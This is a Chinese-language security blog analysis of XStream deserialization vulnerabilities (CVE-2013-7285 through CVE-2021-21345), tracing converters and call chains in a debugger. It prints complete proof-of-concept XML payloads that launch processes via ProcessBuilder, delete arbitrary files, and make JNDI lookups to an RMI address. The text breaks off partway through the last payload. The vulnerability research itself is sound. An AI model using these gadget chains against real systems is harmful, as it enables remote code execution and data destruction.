序言
百川东到海,何时复西归?
这一篇来梳理XStream不同版本RCE,也会是补全计划的一部分。
老实本分的XStream XStream格局可以的,直接把自己的List< CVE > 放在了首页。。。
会按照时间线逐个梳理。
基本API操作:
1 2 3 4 5 6 XStream xStream = new XStream(); Person person = new Person("peter" ,18 ); String xml = xStream.toXML(person); Object o = xStream.fromXML(xml);
重要组件 XStream类图,参考XStream 源码解析 :
主要分为四个部分:
MarshallingStrategy 编码策略:
marshall : object->xml 编码
unmarshall : xml-> object 解码
两个重要的类:
Mapper 映射器
通过mapper获取对象对应的类、成员、Field属性的Class对象,赋值给XML的标签字段。
Converter XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。
Converter的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
简单地说,Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据。
Converter需要实现3个方法:
canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;
http://x-stream.github.io/converters.html
这里告诉了我们针对各种对象XStream做了哪些支持。
XStream编组/解组具体过程 XStream : 1.4.6
fromXML xml->obj 先看如何反序列化出来的:
第一步:把String转化成StringReader,HierarchicalStreamDriver通过StringReader创建HierarchicalStreamReader,最后调用MarshallingStrategy的unmarshal方法开始解组
第二步:进入start方法,开始解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object start (DataHolder dataHolder) { this .dataHolder = dataHolder; Class type = HierarchicalStreams.readClassType(this .reader, this .mapper); Object result = this .convertAnother((Object)null , type); Iterator validations = this .validationList.iterator(); while (validations.hasNext()) { Runnable runnable = (Runnable)validations.next(); runnable.run(); } return result; }
先看readClassType里面做了什么事情:
1 2 3 4 5 6 7 8 9 10 11 12 public static Class readClassType (HierarchicalStreamReader reader, Mapper mapper) { String classAttribute = readClassAttribute(reader, mapper); Class type; if (classAttribute == null ) { type = mapper.realClass(reader.getNodeName()); } else { type = mapper.realClass(classAttribute); } return type; }
第三步 : convertAnother 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object convertAnother (Object parent, Class type, Converter converter) { type = this .mapper.defaultImplementationOf(type); if (converter == null ) { converter = this .converterLookup.lookupConverterForType(type); } else if (!converter.canConvert(type)) { ConversionException e = new ConversionException("Explicit selected converter cannot handle type" ); e.add("item-type" , type.getName()); e.add("converter-type" , converter.getClass().getName()); throw e; } return this .convert(parent, type, converter); }
注意这里参数parent,converter默认都是null
如何查找对应的converter?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public Converter lookupConverterForType (Class type) { Converter cachedConverter = (Converter)this .typeToConverterMap.get(type); if (cachedConverter != null ) { return cachedConverter; } else { Iterator iterator = this .converters.iterator(); Converter converter; do { if (!iterator.hasNext()) { throw new ConversionException("No converter specified for " + type); } converter = (Converter)iterator.next(); } while (!converter.canConvert(type)); this .typeToConverterMap.put(type, converter); return converter; } }
现在来到return this.convert(parent, type, converter);
这句
会到com.thoughtworks.xstream.core.TreeUnmarshaller#convert
这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected Object convert (Object parent, Class type, Converter converter) { try { this .types.push(type); Object result = converter.unmarshal(this .reader, this ); this .types.popSilently(); return result; } catch (ConversionException var6) { this .addInformationTo(var6, type, converter, parent); throw var6; } catch (RuntimeException var7) { ConversionException conversionException = new ConversionException(var7); this .addInformationTo(conversionException, type, converter, parent); throw conversionException; } }
1 2 3 4 5 6 7 public Object unmarshal (HierarchicalStreamReader reader, UnmarshallingContext context) { Object result = this .instantiateNewInstance(reader, context); result = this .doUnmarshal(result, reader, context); return this .serializationMethodInvoker.callReadResolve(result); }
有趣的Converter Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样 的。
Xstream的思路是在反序列化时,通过不同的converter来处理不同类型的数据。
最外层的没有实现Serializable接口的类时用的是ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。
如果是处理实现了Serializable接口并且重写了readObject方法的对象时使用的是SerializableConverter,并且readObject方法也会被调用。
CVE-2013-7285 影响范围:
XStream version <= 1.4.6 & XStream version = 1.4.10
漏洞成因 动态代理 经典老番动态代理那些事
EventHandler EventHandler也是实现了InvocationHandler
接口的类
EventHandler用来监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。
注意两个属性:target , action
看个小例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 interface HelloService { void goodMorning () ; void goodEvening () ; } class HelloImpl implements HelloService { @Override public void goodMorning () { System.out.println("Good Morning!" ); } @Override public void goodEvening () { System.out.println("Good Evening!" ); } } public class Tester { public static void main (String[] args) { HelloService hello = new HelloImpl(); EventHandler start = new EventHandler(new ProcessBuilder("open" ,"/Applications/Calculator.app" ), "start" , null , null ); HelloService o = (HelloService)Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), start); o.goodMorning(); } }
经典老番,计算器弹出:
跟一下是怎么走的:
EventHandler.invoke():
EventHandler.invokeInternal():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 private Object invokeInternal (Object proxy, Method method, Object[] arguments) { String methodName = method.getName(); if (method.getDeclaringClass() == Object.class ) { if (methodName.equals("hashCode" )) { return new Integer(System.identityHashCode(proxy)); } else if (methodName.equals("equals" )) { return (proxy == arguments[0 ] ? Boolean.TRUE : Boolean.FALSE); } else if (methodName.equals("toString" )) { return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode()); } } if (listenerMethodName == null || listenerMethodName.equals(methodName)) { Class[] argTypes = null ; Object[] newArgs = null ; if (eventPropertyName == null ) { newArgs = new Object[]{}; argTypes = new Class<?>[]{}; } else { Object input = applyGetters(arguments[0 ], getEventPropertyName()); newArgs = new Object[]{input}; argTypes = new Class<?>[]{input == null ? null : input.getClass()}; } try { int lastDot = action.lastIndexOf('.' ); if (lastDot != -1 ) { target = applyGetters(target, action.substring(0 , lastDot)); action = action.substring(lastDot + 1 ); } Method targetMethod = Statement.getMethod( target.getClass(), action, argTypes); if (targetMethod == null ) { targetMethod = Statement.getMethod(target.getClass(), "set" + NameGenerator.capitalize(action), argTypes); } if (targetMethod == null ) { String argTypeString = (argTypes.length == 0 ) ? " with no arguments" : " with argument " + argTypes[0 ]; throw new RuntimeException( "No method called " + action + " on " + target.getClass() + argTypeString); } return MethodUtil.invoke(targetMethod, target, newArgs); } catch (IllegalAccessException ex) { throw new RuntimeException(ex); } catch (InvocationTargetException ex) { Throwable th = ex.getTargetException(); throw (th instanceof RuntimeException) ? (RuntimeException) th : new RuntimeException(th); } } return null ; }
MethodUtil.invoke(targetMethod, target, newArgs)形成了方法调用:
在这个例子里面:
targetMethod:ProcessBuilder.start()方法 (action参数)
target:构造好带有恶意命令的ProcessBuilder对象
在这里被invoke触发了
targetMethod哪里来的?就是一开始的action参数
1 Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);
看看Converter里面如何解析动态代理对象
DynamicProxyConverter
如图,xml对应的标签就是<dynamic-proxy>
,这其中:
<interface>
标签就是被代理的接口
<handler>
标签表示InvocationHandler实例
按照官网的这个例子:
dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler。
PoC 基于接口 这种也是官网钦定的PoC,interfece字段随便选择一个public接口就行:
1 2 3 4 5 6 7 8 9 10 11 12 <dynamic-proxy > <interface > com.thoughtworks.xstream.io.HierarchicalStreamReader</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > open</string > <string > /Applications/Calculator.app</string > </command > </target > <action > start</action > </handler > </dynamic-proxy >
复现:
1 2 3 4 5 6 7 8 9 public class Interface_Exploit { public static void main (String[] args) throws FileNotFoundException { FileInputStream payload = XStreamUtils.getPayload("CVE_2013_7285_Interface" ); XStream xStream = new XStream(); HierarchicalStreamReader obj = (HierarchicalStreamReader)xStream.fromXML(payload); obj.hasMoreChildren(); } }
这里我为了省事,选的是com.thoughtworks.xstream.io.HierarchicalStreamReader
接口+它内部的hasMoreChildren
无参方法。
调试就是上面EventHandler那部分,这种方式结合了动态代理。
基于SortedSet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <sorted-set > <string > test</string > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > open</string > <string > /Applications/Calculator.app</string > </command > </target > <action > start</action > </handler > </dynamic-proxy > </sorted-set >
复现:
1 2 3 4 5 6 7 public class SortedSet_Exploit { public static void main (String[] args) throws FileNotFoundException { FileInputStream payload = XStreamUtils.getPayload("CVE_2013_7285_SortedSet" ); XStream xStream = new XStream(); xStream.fromXML(payload); } }
调试:
fromXML跟进去,到com.thoughtworks.xstream.core.TreeUnmarshaller#start
,这里代表开始解析xml还原obj:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object start (DataHolder dataHolder) { this .dataHolder = dataHolder; Class type = HierarchicalStreams.readClassType(this .reader, this .mapper); Object result = this .convertAnother((Object)null , type); Iterator validations = this .validationList.iterator(); while (validations.hasNext()) { Runnable runnable = (Runnable)validations.next(); runnable.run(); } return result; }
这里我们先进readClassType
:
1 2 3 4 5 6 7 8 9 10 11 12 public static Class readClassType (HierarchicalStreamReader reader, Mapper mapper) { String classAttribute = readClassAttribute(reader, mapper); Class type; if (classAttribute == null ) { type = mapper.realClass(reader.getNodeName()); } else { type = mapper.realClass(classAttribute); } return type; }
先进入readClassAttribute
方法:
1 2 3 4 5 6 7 8 9 10 11 12 public static String readClassAttribute (HierarchicalStreamReader reader, Mapper mapper) { String attributeName = mapper.aliasForSystemAttribute("resolves-to" ); String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName); if (classAttribute == null ) { attributeName = mapper.aliasForSystemAttribute("class" ); if (attributeName != null ) { classAttribute = reader.getAttribute(attributeName); } } return classAttribute; }
这里返回为空,继续来看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClass
方法
获取当前节点的名称,并进行返回对应的class对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Class realClass (String elementName) { Object cached = this .realClassCache.get(elementName); if (cached != null ) { if (cached instanceof Class) { return (Class)cached; } else { throw (CannotResolveClassException)cached; } } else { try { Class result = super .realClass(elementName); this .realClassCache.put(elementName, result); return result; } catch (CannotResolveClassException var4) { this .realClassCache.put(elementName, var4); throw var4; } } }
回到start方法中:该执行Object result = this.convertAnother((Object)null, type);
这里:
进入this.convertAnother方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object convertAnother (Object parent, Class type, Converter converter) { type = this .mapper.defaultImplementationOf(type); if (converter == null ) { converter = this .converterLookup.lookupConverterForType(type); } else if (!converter.canConvert(type)) { ConversionException e = new ConversionException("Explicit selected converter cannot handle type" ); e.add("item-type" , type.getName()); e.add("converter-type" , converter.getClass().getName()); throw e; } return this .convert(parent, type, converter); }
先看defaultImplementationOf
方法:
看到他返回的是java.util.TreeSet
的类对象,也就是type的结果
接下来根据type找到对应的converter,也就进入lookupConverterForType
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Converter lookupConverterForType (Class type) { Converter cachedConverter = (Converter)this .typeToConverterMap.get(type); if (cachedConverter != null ) { return cachedConverter; } else { Iterator iterator = this .converters.iterator(); Converter converter; do { if (!iterator.hasNext()) { throw new ConversionException("No converter specified for " + type); } converter = (Converter)iterator.next(); } while (!converter.canConvert(type)); this .typeToConverterMap.put(type, converter); return converter; } }
进入convert
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected Object convert (Object parent, Class type, Converter converter) { Object result; if (this .parentStack.size() > 0 ) { result = this .parentStack.peek(); if (result != null && !this .values.containsKey(result)) { this .values.put(result, parent); } } String attributeName = this .getMapper().aliasForSystemAttribute("reference" ); String reference = attributeName == null ? null : this .reader.getAttribute(attributeName); Object cache; if (reference != null ) { cache = this .values.get(this .getReferenceKey(reference)); if (cache == null ) { ConversionException ex = new ConversionException("Invalid reference" ); ex.add("reference" , reference); throw ex; } result = cache == NULL ? null : cache; } else { cache = this .getCurrentReferenceKey(); this .parentStack.push(cache); result = super .convert(parent, type, converter); if (cache != null ) { this .values.put(cache, result == null ? NULL : result); } this .parentStack.popSilently(); } return result; }
来到这里:
1 Object result = converter.unmarshal(this .reader, this );
通过匹配获取到的converter,调用unmarshal
方法,进行xml解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public Object unmarshal (HierarchicalStreamReader reader, UnmarshallingContext context) { TreeSet result = null ; Comparator unmarshalledComparator = this .treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null ); boolean inFirstElement = unmarshalledComparator instanceof Null; Comparator comparator = inFirstElement ? null : unmarshalledComparator; TreeMap treeMap; if (sortedMapField != null ) { TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator); Object backingMap = null ; try { backingMap = sortedMapField.get(possibleResult); } catch (IllegalAccessException var11) { throw new ConversionException("Cannot get backing map of TreeSet" , var11); } if (backingMap instanceof TreeMap) { treeMap = (TreeMap)backingMap; result = possibleResult; } else { treeMap = null ; } } else { treeMap = null ; } if (treeMap == null ) { PresortedSet set = new PresortedSet(comparator); result = comparator == null ? new TreeSet() : new TreeSet(comparator); if (inFirstElement) { this .addCurrentElementToCollection(reader, context, result, set); reader.moveUp(); } this .populateCollection(reader, context, result, set); if (set.size() > 0 ) { result.addAll(set); } } else { this .treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator); } return result; }
1 this .treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
跟进看:
进入90行的putCurrentEntryIntoMap
:
方法内的target参数就是sortedMap,可以看到这里读取标签内的内容并缓存到target这个Map中。
返回上一级方法:
继续往下,来到populateMap
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected void populateMap (HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) { TreeSetConverter.this .populateCollection(reader, context, new AbstractList() { public boolean add (Object object) { return target.put(object, object) != null ; } public Object get (int location) { return null ; } public int size () { return target.size(); } }); }
解读:这里就是调用populateCollection
用来循环遍历子标签中的元素并添加到集合中。
继续跟,来到这里:
进入addCurrentElementToCollection
方法:
再进入readItem
方法:
这里readItem做的事情和前面的一样:
依然还是继续读取标签内容,并且获取转换成对应的类,最后将类添加到target中。
由于我们的payload是一个动态代理类,会来到com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal
这里:
这里的hander就是我们传入的EventHandler,相当于被包装成了动态代理类proxy,proxy返回。
一路返回,在com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
这里proxy被触发:
总结几个关键步骤:
TreeUnmarshaller#start开始解析xml
HierarchicalStreams#readClassType通过标签获取Mapper中对应的Class对象
TreeUnmarshaller#convertAnother将Class对象转换为对应的Java对象
mapper.defaultImplementationOf()查找Class类的实现类,根据实现类获取对应的converter
convert方法返回object对象
调用对应converter的unmarshall方法继续解析子节点
如何触发的?
string标签会被识别出StringConverter转换器来解析出string标签内的字符串test;
dynamic-proxy标签会被识别出对应的DynamicProxyConverter转换器来解析出动态代理类对象;
由于TreeMap.putAll()
被调用,那么TreeSetConverter会对比两个子元素即调用$Proxy0.compareTo()来比较,而dynamic-proxy标签内实现了Comparable接口,因此由动态代理机制会触发dynamic-proxy标签内的handler标签指向的EventHandler类方法,从而利用反射机制实现任意代码执行。
基于TreeMap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <tree-map > <entry > <string > fookey</string > <string > foovalue</string > </entry > <entry > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > open</string > <string > /Applications/Calculator.app</string > </command > </target > <action > start</action > </handler > </dynamic-proxy > <string > good</string > </entry > </tree-map >
复现:
调试:先说结论,还是在putAll处触发
只不过这次的涉及到的转换器是TreeMapConverter,整个过程先在treemap里面放一个entry,string作为key值向里面添加。引发compareTo,handler被调用,漏洞触发。
修复 若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,建立黑白名单机制进行过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 XStream.addPermission(TypePermission); XStream.allowTypes(Class[]); XStream.allowTypes(String[]); XStream.allowTypesByRegExp(String[]); XStream.allowTypesByRegExp(Pattern[]); XStream.allowTypesByWildcard(String[]); XStream.allowTypeHierary(Class); XStream.denyPermission(TypePermission); XStream.denyTypes(Class[]); XStream.denyTypes(String[]); XStream.denyTypesByRegExp(String[]); XStream.denyTypesByRegExp(Pattern[]); XStream.denyTypesByWildcard(String[]); XStream.denyTypeHierary(Class);
在1.4.10版本之后,XStream提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单 ,部分白名单是Xstream默认的,用户可以直接调用。
CVE-2020-26217 XStream:1.4.13
漏洞成因 一种黑名单的绕过方式
PoC 来自官网的PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='javax.imageio.spi.FilterIterator' > <iter class ='java.util.ArrayList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 1</expectedModCount > <outer-class > <java.lang.ProcessBuilder > <command > <string > open</string > <string > /Applications/Calculator.app</string > </command > </java.lang.ProcessBuilder > </outer-class > </iter > <filter class ='javax.imageio.ImageIO$ContainsFilter' > <method > <class > java.lang.ProcessBuilder</class > <name > start</name > <parameter-types /> </method > <name > start</name > </filter > <next /> </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
复现:
调试:
这次PoC是map结构,其中key为jdk.nashorn.internal.objects.NativeString对象、value值为test的Entry;
而jdk.nashorn.internal.objects.NativeString对象又存在flags、value属性,它的flags属性值为0、value属性值为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
前面简单几步直接跳过,不过就是首先还原出来一个hashmap,然后将本地的key,value分别赋值。
也就是MapConverter这里,target是hashmap实例,我们需要放进去的是key是NativeString,value是test字符串
进入put,首先需要计算key的hash值:
这里的this就是key,也就是NativeString对象,对应的this.value就是NativeString对象的value属性,也就是payload里面的Base64Data对象:
由于this.value不是String类型的变量,会执行this.value.toString()
,继续跟:
this.get
方法也就是Base64Data对象的get方法,如上图,在get方法内部其实本质上是调用了Base64Data对象的dataHandler属性,看PoC,this.dataHandler.getDataSource()
返回的是com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
这里本质上is就是PoC里面的is属性值,也就是PoC里面的java.io.SequenceInputStream
接下来执行到readFrom
方法:
进入read
方法:
进入nextStream
方法:
这里的in和e在PoC里面都有对应的构造
接下来会调用e.nextElement()
方法
iterator属性也有对应的PoC构造,也就是java.imageio.spi.FilterIterator
接下来需要执行的是iterator.next().getKey();
先来到next()
方法
会先调用advance()
方法:
这里iter属性是java.util.ArrayList$Itr
,filter属性是javax.imageio.ImageIO$ContainsFilter
进入filter.filter(elt)
方法:
看到这里直接就是对method属性进行了invoke调用,method是我们的start方法,name是start字符串
elt是什么?elt就是上一步的iter.next()
的返回值,是java.lang.ProcessBuilder
对象。
elt为构造好的java.lang.ProcessBuilder对象。在method与elt都可控的情况下,进行反射调用即可实现远程代码执行利用。
修复:
在1.4.14中对反射调用时,对class进行了黑名单拦截:
CVE_2020_26259 XStream:1.4.13
漏洞成因 一种任意文件删除漏洞
PoC 来自官网的PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='com.sun.xml.internal.ws.util.ReadAllStream$FileStream' > <tempFile > /etc/hosts</tempFile > </is > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
26259和26217很像,前半段都利用了NativeString
,Base64Data
,XmlDataSource
但是后半段的is
属性有区别,是com.sun.xml.internal.ws.util.ReadAllStream$FileStream
调试:
还是来到get方法:
值得注意的是,这次漏洞利用的不是Base64Data中get方法里的baos.readFrom(is)这个入口,而是位于它下面一行的is.close()这行代码。通过调试,程序在执行过get方法中baos.readFrom(is)后,紧接着执行is.Close()。
此时的is是com.sun.xml.internal.ws.util.ReadAllStream$FileStream
,跟入其中的close方法,见下图:
当这里tempFile
属性其实是PoC中可控的:
1 <tempFile > /etc/hosts</tempFile >
所以如果这里tempFile字段不为空,则直接删除,存在一个任意文件删除漏洞
CVE_2021_21344 XStream:1.4.15
漏洞成因 RCE,最终漏洞的触发点是JdbcRowSetImpl 是JNDI类型注入漏洞
PoC 来自官网:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='sun.awt.datatransfer.DataTransferer$IndexOrderComparator' > <indexMap class ='com.sun.xml.internal.ws.client.ResponseContext' > <packet > <message class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart' > <dataSource class ='com.sun.xml.internal.ws.message.JAXBAttachment' > <bridge class ='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper' > <bridge class ='com.sun.xml.internal.bind.v2.runtime.BridgeImpl' > <bi class ='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl' > <jaxbType > com.sun.rowset.JdbcRowSetImpl</jaxbType > <uriProperties /> <attributeProperties /> <inheritedAttWildcard class ='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection' > <getter > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > getDatabaseMetaData</name > <parameter-types /> </getter > </inheritedAttWildcard > </bi > <tagName /> <context > <marshallerPool class ='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1' > <outer-class reference ='../..' /> </marshallerPool > <nameList > <nsUriCannotBeDefaulted > <boolean > true</boolean > </nsUriCannotBeDefaulted > <namespaceURIs > <string > 1</string > </namespaceURIs > <localNames > <string > UTF-8</string > </localNames > </nameList > </context > </bridge > </bridge > <jaxbObject class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default > <iMatchColumns > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > </iMatchColumns > <strMatchColumns > <string > foo</string > <null /> <null /> <null /> <null /> <null /> <null /> <null /> <null /> <null /> </strMatchColumns > </default > </com.sun.rowset.JdbcRowSetImpl > </jaxbObject > </dataSource > </message > <satellites /> <invocationProperties /> </packet > </indexMap > </comparator > </default > <int > 3</int > <string > javax.xml.ws.binding.attachments.inbound</string > <string > javax.xml.ws.binding.attachments.inbound</string > </java.util.PriorityQueue > </java.util.PriorityQueue >
调试:
不难看出这次反序列化的入口点是PriorityQueue
,它也是cc链中高频出现的节点。
在之前分析过程中我们也知道,对于实现了Serializable
接口的类对象,在反序列化过程中会调用重写的readObject
方法
我们可以在readObject
方法处打断点:
进入heapify()
方法:
一路下来,在这里调用了PriorityQueue类中存储在comparator属性中的对象的compare方法,也就是PoC中的sun.awt.datatransfer.DataTransferer$IndexOrderComparator
类对象,也就是说接下来会去调用这个类的compare
方法
接下来会调用一系列的函数,太长了,贴一下调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 java.util.PriorityQueue#heapify sun.awt.datatransfer.DataTransferer$IndexOrderComparator#compare com.sun.xml.internal.ws.client.ResponseContext#get com.sun.xml.internal.ws.api.message.MessageWrapper#getAttachments com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getAttachments com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getMessage com.sun.xml.internal.ws.message.JAXBAttachment#getInputStream com.sun.xml.internal.ws.message.JAXBAttachment#asInputStream com.sun.xml.internal.ws.message.JAXBAttachment#writeTo com.sun.xml.internal.ws.db.glassfish.BridgeWrapper#marshal com.sun.xml.internal.bind.api.Bridge#marshal com.sun.xml.internal.bind.v2.runtime.BridgeImpl#marshal com.sun.xml.internal.bind.v2.runtime.MarshallerImpl#write com.sun.xml.internal.bind.v2.runtime.XMLSerializer#childAsXsiType com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl#serializeURIs com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData com.sun.rowset.JdbcRowSetImpl#connect
关键点在com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get
这里存在invoke函数,导致整个链可以连通。
可以看到invoke到com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData
中,并最终在JdbcRowSetImpl的connect方法中通过JNDI去lookup事先封装在JdbcRowSetImpl的dataSource中的恶意地址:
其实整个链的关键点是这里的get方法:
XStream不受Serializable接口限制,所有类都可以实例化,导致链过程中的很多节点都可以参与序列化。
CVE_2021_21345 XStream:1.4.15
漏洞成因 和21344长得很像,出发点是一样的PriorityQueue,RCE触发点是com.sun.corba.se.impl.activation.ServerTableEntry
唯一的不同点在于:
21344使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码;
21345使用com.sun.corba.se.impl.activation.ServerTableEntry
类直接在本地执行恶意代码
PoC 来自官网:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='sun.awt.datatransfer.DataTransferer$IndexOrderComparator' > <indexMap class ='com.sun.xml.internal.ws.client.ResponseContext' > <packet > <message class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart' > <dataSource class ='com.sun.xml.internal.ws.message.JAXBAttachment' > <bridge class ='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper' > <bridge class ='com.sun.xml.internal.bind.v2.runtime.BridgeImpl' > <bi class ='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl' > <jaxbType > com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType > <uriProperties /> <attributeProperties /> <inheritedAttWildcard class ='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection' > <getter > <class > com.sun.corba.se.impl.activation.ServerTableEntry</class > <name > verify</name > <parameter-types /> </getter > </inheritedAttWildcard > </bi > <tagName /> <context > <marshallerPool class ='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1' > <outer-class reference ='../..' /> </marshallerPool > <nameList > <nsUriCannotBeDefaulted > <boolean > true</boolean > </nsUriCannotBeDefaulted > <namespaceURIs > <string > 1</string > </namespaceURIs > <localNames > <string > UTF-8</string > </localNames > </nameList > </context > </bridge > </bridge > <jaxbObject class ='com.sun.corba.se.impl.activation.ServerTableEntry' > <activationCmd > open /Applications/Calculator.app</activationCmd > </jaxbObject > </dataSource > </message > <satellites /> <invocationProperties /> </packet > </indexMap > </comparator > </default > 